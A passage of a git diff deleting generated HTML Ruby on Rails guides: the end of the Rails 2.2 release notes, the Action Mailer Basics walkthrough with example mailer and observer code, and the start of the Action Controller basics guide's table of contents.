-<div class="paragraph"><p>Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the <tt>CustomerMailer</tt> class expects to use <tt>layouts/customer_mailer.html.erb</tt>.</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-More information:
-</p>
-<div class="ulist"><ul>
-<li>
-<p>
-<a href="http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts">What&#8217;s New in Edge Rails: Mailer Layouts</a>
-</p>
-</li>
-</ul></div>
-</li>
-</ul></div>
-<div class="paragraph"><p>Action Mailer now offers built-in support for GMail&#8217;s SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.</p></div>
-</div>
-<h2 id="_active_support">9. Active Support</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Active Support now offers built-in memoization for Rails applications, the <tt>each_with_object</tt> method, prefix support on delegates, and various other new utility methods.</p></div>
-<h3 id="_memoization">9.1. Memoization</h3>
-<div class="paragraph"><p>Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You&#8217;ve probably used this pattern in your own applications:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> full_name
- <span style="color: #009900">@full_name</span> <span style="color: #990000">||=</span> <span style="color: #FF0000">"#{first_name} #{last_name}"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Memoization lets you handle this task in a declarative fashion:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>extend ActiveSupport<span style="color: #990000">::</span>Memoizable
-
-<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> full_name
- <span style="color: #FF0000">"#{first_name} #{last_name}"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-memoize <span style="color: #990000">:</span>full_name</tt></pre></div></div>
-<div class="paragraph"><p>Other features of memoization include <tt>unmemoize</tt>, <tt>unmemoize_all</tt>, and <tt>memoize_all</tt> to turn memoization on or off.</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Lead Contributor: <a href="http://joshpeek.com/">Josh Peek</a>
-</p>
-</li>
-<li>
-<p>
-More information:
-</p>
-<div class="ulist"><ul>
-<li>
-<p>
-<a href="http://ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization">What&#8217;s New in Edge Rails: Easy Memoization</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://www.railway.at/articles/2008/09/20/a-guide-to-memoization">Memo-what? A Guide to Memoization</a>
-</p>
-</li>
-</ul></div>
-</li>
-</ul></div>
-<h3 id="_tt_each_with_object_tt">9.2. <tt>each_with_object</tt></h3>
-<div class="paragraph"><p>The <tt>each_with_object</tt> method provides an alternative to <tt>inject</tt>, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">%</span>w<span style="color: #990000">(</span>foo bar<span style="color: #990000">).</span>each_with_object<span style="color: #990000">(</span><span style="color: #FF0000">{}</span><span style="color: #990000">)</span> <span style="color: #FF0000">{</span> <span style="color: #990000">|</span>str<span style="color: #990000">,</span> hsh<span style="color: #990000">|</span> hsh<span style="color: #990000">[</span>str<span style="color: #990000">]</span> <span style="color: #990000">=</span> str<span style="color: #990000">.</span>upcase <span style="color: #FF0000">}</span> <span style="font-style: italic"><span style="color: #9A1900">#=&gt; {'foo' =&gt; 'FOO', 'bar' =&gt; 'BAR'}</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Lead Contributor: <a href="http://therealadam.com/">Adam Keys</a></p></div>
-<h3 id="_delegates_with_prefixes">9.3. Delegates With Prefixes</h3>
-<div class="paragraph"><p>If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Vendor <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_one <span style="color: #990000">:</span>account
- delegate <span style="color: #990000">:</span>email<span style="color: #990000">,</span> <span style="color: #990000">:</span>password<span style="color: #990000">,</span> <span style="color: #990000">:</span>to <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>prefix <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This will produce delegated methods <tt>vendor#account_email</tt> and <tt>vendor#account_password</tt>. You can also specify a custom prefix:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Vendor <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_one <span style="color: #990000">:</span>account
- delegate <span style="color: #990000">:</span>email<span style="color: #990000">,</span> <span style="color: #990000">:</span>password<span style="color: #990000">,</span> <span style="color: #990000">:</span>to <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>prefix <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>owner
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This will produce delegated methods <tt>vendor#owner_email</tt> and <tt>vendor#owner_password</tt>.</p></div>
-<div class="paragraph"><p>Lead Contributor: <a href="http://workingwithrails.com/person/5830-daniel-schierbeck">Daniel Schierbeck</a></p></div>
-<h3 id="_other_active_support_changes">9.4. Other Active Support Changes</h3>
-<div class="ulist"><ul>
-<li>
-<p>
-Extensive updates to <tt>ActiveSupport::Multibyte</tt>, including Ruby 1.9 compatibility fixes.
-</p>
-</li>
-<li>
-<p>
-The addition of <tt>ActiveSupport::Rescuable</tt> allows any class to mix in the <tt>rescue_from</tt> syntax.
-</p>
-</li>
-<li>
-<p>
-<tt>past?</tt>, <tt>today?</tt> and <tt>future?</tt> for <tt>Date</tt> and <tt>Time</tt> classes to facilitate date/time comparisons.
-</p>
-</li>
-<li>
-<p>
-<tt>Array#second</tt> through <tt>Array#fifth</tt> as aliases for <tt>Array#[1]</tt> through <tt>Array#[4]</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>Enumerable#many?</tt> to encapsulate <tt>collection.size &gt; 1</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>Inflector#parameterize</tt> produces a URL-ready version of its input, for use in <tt>to_param</tt>.
-</p>
-</li>
-<li>
-<p>
-<tt>Time#advance</tt> recognizes fractional days and weeks, so you can do <tt>1.7.weeks.ago</tt>, <tt>1.5.hours.since</tt>, and so on.
-</p>
-</li>
-<li>
-<p>
-The included TzInfo library has been upgraded to version 0.3.12.
-</p>
-</li>
-<li>
-<p>
-<tt>ActiveSuport::StringInquirer</tt> gives you a pretty way to test for equality in strings: <tt>ActiveSupport::StringInquirer.new("abc").abc? =&gt; true</tt>
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_railties">10. Railties</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>In Railties (the core code of Rails itself) the biggest changes are in the <tt>config.gems</tt> mechanism.</p></div>
-<h3 id="_tt_config_gems_tt">10.1. <tt>config.gems</tt></h3>
-<div class="paragraph"><p>To avoid deployment issues and make Rails applications more self-contained, it&#8217;s possible to place copies of all of the gems that your Rails application requires in <tt>/vendor/gems</tt>. This capability first appeared in Rails 2.1, but it&#8217;s much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>config.gem <em>gem_name</em></tt> in your <tt>config/environment.rb</tt> file
-</p>
-</li>
-<li>
-<p>
-<tt>rake gems</tt> to list all configured gems, as well as whether they (and their dependencies) are installed, frozen, or framework (framework gems are those loaded by Rails before the gem dependency code is executed; such gems cannot be frozen)
-</p>
-</li>
-<li>
-<p>
-<tt>rake gems:install</tt> to install missing gems to the computer
-</p>
-</li>
-<li>
-<p>
-<tt>rake gems:unpack</tt> to place a copy of the required gems into <tt>/vendor/gems</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>rake gems:unpack:dependencies</tt> to get copies of the required gems and their dependencies into <tt>/vendor/gems</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>rake gems:build</tt> to build any missing native extensions
-</p>
-</li>
-<li>
-<p>
-<tt>rake gems:refresh_specs</tt> to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>You can unpack or install a single gem by specifying <tt>GEM=<em>gem_name</em></tt> on the command line.</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Lead Contributor: <a href="http://github.com/al2o3cr">Matt Jones</a>
-</p>
-</li>
-<li>
-<p>
-More information:
-</p>
-<div class="ulist"><ul>
-<li>
-<p>
-<a href="http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies">What&#8217;s New in Edge Rails: Gem Dependencies</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/">Rails 2.1.2 and 2.2RC1: Update Your RubyGems</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/1128">Detailed discussion on Lighthouse</a>
-</p>
-</li>
-</ul></div>
-</li>
-</ul></div>
-<h3 id="_other_railties_changes">10.2. Other Railties Changes</h3>
-<div class="ulist"><ul>
-<li>
-<p>
-If you&#8217;re a fan of the <a href="http://code.macournoyer.com/thin/">Thin</a> web server, you&#8217;ll be happy to know that <tt>script/server</tt> now supports Thin directly.
-</p>
-</li>
-<li>
-<p>
-<tt>script/plugin install &lt;plugin&gt; -r &lt;revision&gt;</tt> now works with git-based as well as svn-based plugins.
-</p>
-</li>
-<li>
-<p>
-<tt>script/console</tt> now supports a <tt>--debugger</tt> option
-</p>
-</li>
-<li>
-<p>
-Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source
-</p>
-</li>
-<li>
-<p>
-<tt>rake notes:custom ANNOTATION=MYFLAG</tt> lets you list out custom annotations.
-</p>
-</li>
-<li>
-<p>
-Wrapped <tt>Rails.env</tt> in <tt>StringInquirer</tt> so you can do <tt>Rails.env.development?</tt>
-</p>
-</li>
-<li>
-<p>
-To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher.
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_deprecated">11. Deprecated</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>A few pieces of older code are deprecated in this release:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>Rails::SecretKeyGenerator</tt> has been replaced by <tt>ActiveSupport::SecureRandom</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>render_component</tt> is deprecated. There&#8217;s a <a href="http://github.com/rails/render_component/tree/master">render_components plugin</a> available if you need this functionality.
-</p>
-</li>
-<li>
-<p>
-Implicit local assignments when rendering partials has been deprecated.
-</p>
-</li>
-</ul></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> partial_with_implicit_local_assignment
- <span style="color: #009900">@customer</span> <span style="color: #990000">=</span> Customer<span style="color: #990000">.</span>new<span style="color: #990000">(</span><span style="color: #FF0000">"Marcel"</span><span style="color: #990000">)</span>
- render <span style="color: #990000">:</span>partial <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"customer"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Previously the above code made available a local variable called <tt>customer</tt> inside the partial <em>customer</em>. You should explicitly pass all the variables via :locals hash now.</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>country_select</tt> has been removed. See the <a href="http://www.rubyonrails.org/deprecation/list-of-countries">deprecation page</a> for more information and a plugin replacement.
-</p>
-</li>
-<li>
-<p>
-<tt>ActiveRecord::Base.allow_concurrency</tt> no longer has any effect.
-</p>
-</li>
-<li>
-<p>
-<tt>ActiveRecord::Errors.default_error_messages</tt> has been deprecated in favor of <tt>I18n.translate(<em>activerecord.errors.messages</em>)</tt>
-</p>
-</li>
-<li>
-<p>
-The <tt>%s</tt> and <tt>%d</tt> interpolation syntax for internationalization is deprecated.
-</p>
-</li>
-<li>
-<p>
-<tt>String#chars</tt> has been deprecated in favor of <tt>String#mb_chars</tt>.
-</p>
-</li>
-<li>
-<p>
-Durations of fractional months or fractional years are deprecated. Use Ruby&#8217;s core <tt>Date</tt> and <tt>Time</tt> class arithmetic instead.
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_credits">12. Credits</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Release notes compiled by <a href="http://afreshcup.com">Mike Gunderloy</a></p></div>
-</div>
-
- </div>
- </div>
-</body>
-</html>
diff --git a/railties/doc/guides/html/action_mailer_basics.html b/railties/doc/guides/html/action_mailer_basics.html
deleted file mode 100644
index 56451818eb..0000000000
--- a/railties/doc/guides/html/action_mailer_basics.html
+++ /dev/null
@@ -1,197 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Action Mailer Basics</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-</head>
-<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_what_is_action_mailer">What is Action Mailer?</a>
- </li>
- <li>
- <a href="#_quick_walkthrough_to_creating_a_mailer">Quick walkthrough to creating a Mailer</a>
- <ul>
-
- <li><a href="#_1_create_the_mailer">1. Create the mailer:</a></li>
-
- <li><a href="#_2_edit_the_model">2. Edit the model:</a></li>
-
- <li><a href="#_3_create_the_mailer_view">3. Create the mailer view</a></li>
-
- <li><a href="#_4_wire_it_up_so_that_the_system_sends_the_email_when_a_user_signs_up">4. Wire it up so that the system sends the email when a user signs up</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_mailer_testing">Mailer Testing</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Action Mailer Basics</h1>
- <div id="preamble">
-<div class="sectionbody">
-<div class="paragraph"><p>This guide should provide you with all you need to get started in sending emails from your application, and will also cover how to test your mailers.</p></div>
-</div>
-</div>
-<h2 id="_what_is_action_mailer">1. What is Action Mailer?</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Action Mailer allows you to send email from your application using a mailer model and views.
-Yes, that is correct, in Rails, emails are used by creating Models that inherit from ActionMailer::Base. They live alongside other models in /app/models BUT they have views just like controllers that appear alongside other views in app/views.</p></div>
-</div>
-<h2 id="_quick_walkthrough_to_creating_a_mailer">2. Quick walkthrough to creating a Mailer</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Let&#8217;s say you want to send a welcome email to a user after they signup. Here is how you would go about this:</p></div>
-<h3 id="_1_create_the_mailer">2.1. 1. Create the mailer:</h3>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">.</span>/script/generate mailer UserMailer
-exists app/models<span style="color: #990000">/</span>
-create app/views/user_mailer
-exists test/unit<span style="color: #990000">/</span>
-create test/fixtures/user_mailer
-create app/models/user_mailer<span style="color: #990000">.</span>rb
-create test/unit/user_mailer_test<span style="color: #990000">.</span>rb</tt></pre></div></div>
-<div class="paragraph"><p>So we got the model, the fixtures, and the tests all created for us</p></div>
-<h3 id="_2_edit_the_model">2.2. 2. Edit the model:</h3>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserMailer <span style="color: #990000">&lt;</span> ActionMailer<span style="color: #990000">::</span>Base
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Lets add a method called welcome_email, that will send an email to the user&#8217;s registered email address:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserMailer <span style="color: #990000">&lt;</span> ActionMailer<span style="color: #990000">::</span>Base
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> welcome_email<span style="color: #990000">(</span>user<span style="color: #990000">)</span>
- recipients user<span style="color: #990000">.</span>email
- from <span style="color: #FF0000">"My Awesome Site Notifications&lt;notifications@example.com&gt;"</span>
- subject <span style="color: #FF0000">"Welcome to My Awesome Site"</span>
- sent_on Time<span style="color: #990000">.</span>now
- body <span style="color: #FF0000">{</span><span style="color: #990000">:</span>user <span style="color: #990000">=&gt;</span> user<span style="color: #990000">,</span> <span style="color: #990000">:</span>url <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"http://example.com/login"</span><span style="color: #FF0000">}</span>
- content_type <span style="color: #FF0000">"text/html"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>So what do we have here?
-recipients: who the recipients are, put in an array for multiple, ie, @recipients = ["user1@example.com", "user2@example.com"]
-from: Who the email will appear to come from in the recipients' mailbox
-subject: The subject of the email
-sent_on: Timestamp for the email
-content_type: The content type, by default is text/plain</p></div>
-<div class="paragraph"><p>How about @body[:user]? Well anything you put in the @body hash will appear in the mailer view (more about mailer views below) as an instance variable ready for you to use, ie, in our example the mailer view will have a @user instance variable available for its consumption.</p></div>
-<h3 id="_3_create_the_mailer_view">2.3. 3. Create the mailer view</h3>
-<div class="paragraph"><p></p></div>
-<div class="paragraph"><p>The file can look like:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">&lt;!DOCTYPE</span></span> <span style="color: #009900">html</span> <span style="color: #009900">PUBLIC</span> <span style="color: #FF0000">"-//W3C//DTD XHTML 1.0 Transitional//EN"</span> <span style="color: #FF0000">"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"</span><span style="font-weight: bold"><span style="color: #000080">&gt;</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;html&gt;</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;head&gt;</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;meta</span></span> <span style="color: #009900">content</span><span style="color: #990000">=</span><span style="color: #009900">'text/html;</span> <span style="color: #009900">charset</span><span style="color: #990000">=</span><span style="color: #009900">iso-8859-1'</span> <span style="color: #009900">http-equiv</span><span style="color: #990000">=</span><span style="color: #009900">'Content-Type'</span> <span style="font-weight: bold"><span style="color: #0000FF">/&gt;</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;/head&gt;</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;body&gt;</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>Welcome to example.com, &lt;%= @user.first_name %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>
- You have successfully signed up to example.com, and your username is: &lt;%= @user.login %&gt;.<span style="font-weight: bold"><span style="color: #0000FF">&lt;br/&gt;</span></span>
- To login to the site, just follow this link: &lt;%= @url %&gt;.
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Thanks for joining and have a great day!<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;/body&gt;</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;/html&gt;</span></span></tt></pre></div></div>
-<h3 id="_4_wire_it_up_so_that_the_system_sends_the_email_when_a_user_signs_up">2.4. 4. Wire it up so that the system sends the email when a user signs up</h3>
-<div class="paragraph"><p>There are 3 was to achieve this. One is to send the email from the controller that sends the email, another is to put it in a before_create block in the user model, and the last one is to use an observer on the user model. Whether you use the second or third methods is up to you, but staying away from the first is recommended. Not because it&#8217;s wrong, but because it keeps your controller clean, and keeps all logic related to the user model within the user model. This way, whichever way a user is created (from a web form, or from an API call, for example), we are guaranteed that the email will be sent.</p></div>
-<div class="paragraph"><p></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># Code that already exists</span></span>
-
-Rails<span style="color: #990000">::</span>Initializer<span style="color: #990000">.</span>run <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>config<span style="color: #990000">|</span>
-
- <span style="font-style: italic"><span style="color: #9A1900"># Code that already exists</span></span>
-
- config<span style="color: #990000">.</span>active_record<span style="color: #990000">.</span>observers <span style="color: #990000">=</span> <span style="color: #990000">:</span>user_observer
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># Code that already exists</span></span>
-
-Rails<span style="color: #990000">::</span>Initializer<span style="color: #990000">.</span>run <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>config<span style="color: #990000">|</span>
-
- <span style="font-style: italic"><span style="color: #9A1900"># Code that already exists</span></span>
-
- config<span style="color: #990000">.</span>load_paths <span style="color: #990000">+=</span> <span style="color: #990000">%</span>W<span style="color: #990000">(#</span><span style="color: #FF0000">{</span>RAILS_ROOT<span style="color: #FF0000">}</span><span style="color: #FF6600">/app/</span>observers<span style="color: #990000">)</span>
-
- config<span style="color: #990000">.</span>active_record<span style="color: #990000">.</span>observers <span style="color: #990000">=</span> <span style="color: #990000">:</span>user_observer
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>ALMOST THERE :) Now all we need is that danged observer, and we&#8217;re done:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserObserver <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Observer
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> after_create<span style="color: #990000">(</span>user<span style="color: #990000">)</span>
- UserMailer<span style="color: #990000">.</span>deliver_welcome_email<span style="color: #990000">(</span>user<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Notice how we call deliver_welcome_email? Where is that method? Well if you remember, we created a method called welcome_email in UserMailer, right? Well, as part of the "magic" of rails, we deliver the email identified by welcome_email by calling deliver_welcome_email.</p></div>
-<div class="paragraph"><p>That&#8217;s it! Now whenever your users signup, they will be greeted with a nice welcome email. Next up, we&#8217;ll talk about how to test a mailer model.</p></div>
-</div>
-<h2 id="_mailer_testing">3. Mailer Testing</h2>
-<div class="sectionbody">
-</div>
-
- </div>
- </div>
-</body>
-</html>
diff --git a/railties/doc/guides/html/actioncontroller_basics.html b/railties/doc/guides/html/actioncontroller_basics.html
deleted file mode 100644
index f5b25a4d7a..0000000000
--- a/railties/doc/guides/html/actioncontroller_basics.html
+++ /dev/null
@@ -1,1036 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Action Controller basics</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-</head>
-<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_what_does_a_controller_do">What Does a Controller do?</a>
- </li>
- <li>
- <a href="#_methods_and_actions">Methods and Actions</a>
- </li>
- <li>
- <a href="#_parameters">Parameters</a>
- <ul>
-
- <li><a href="#_hash_and_array_parameters">Hash and Array Parameters</a></li>
-
- <li><a href="#_routing_parameters">Routing Parameters</a></li>
-
- <li><a href="#_tt_default_url_options_tt"><tt>default_url_options</tt></a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_session">Session</a>
- <ul>
-
- <li><a href="#_accessing_the_session">Accessing the Session</a></li>
-
- <li><a href="#_the_flash">The flash</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_cookies">Cookies</a>
- </li>
- <li>
- <a href="#_filters">Filters</a>
- <ul>
-
- <li><a href="#_after_filters_and_around_filters">After Filters and Around Filters</a></li>
-
- <li><a href="#_other_ways_to_use_filters">Other Ways to Use Filters</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_verification">Verification</a>
- </li>
- <li>
- <a href="#_request_forgery_protection">Request Forgery Protection</a>
- </li>
- <li>
- <a href="#_the_tt_request_tt_and_tt_response_tt_objects">The <tt>request</tt> and <tt>response</tt> Objects</a>
- <ul>
-
- <li><a href="#_the_tt_request_tt_object">The <tt>request</tt> Object</a></li>
-
- <li><a href="#_the_tt_response_tt_object">The <tt>response</tt> Object</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_http_basic_authentication">HTTP Basic Authentication</a>
- </li>
- <li>
- <a href="#_streaming_and_file_downloads">Streaming and File Downloads</a>
- <ul>
-
- <li><a href="#_sending_files">Sending Files</a></li>
-
- <li><a href="#_restful_downloads">RESTful Downloads</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_parameter_filtering">Parameter Filtering</a>
- </li>
- <li>
- <a href="#_rescue">Rescue</a>
- <ul>
-
- <li><a href="#_the_default_500_and_404_templates">The Default 500 and 404 Templates</a></li>
-
- <li><a href="#_tt_rescue_from_tt"><tt>rescue_from</tt></a></li>
-
- </ul>
- </li>
- <li>
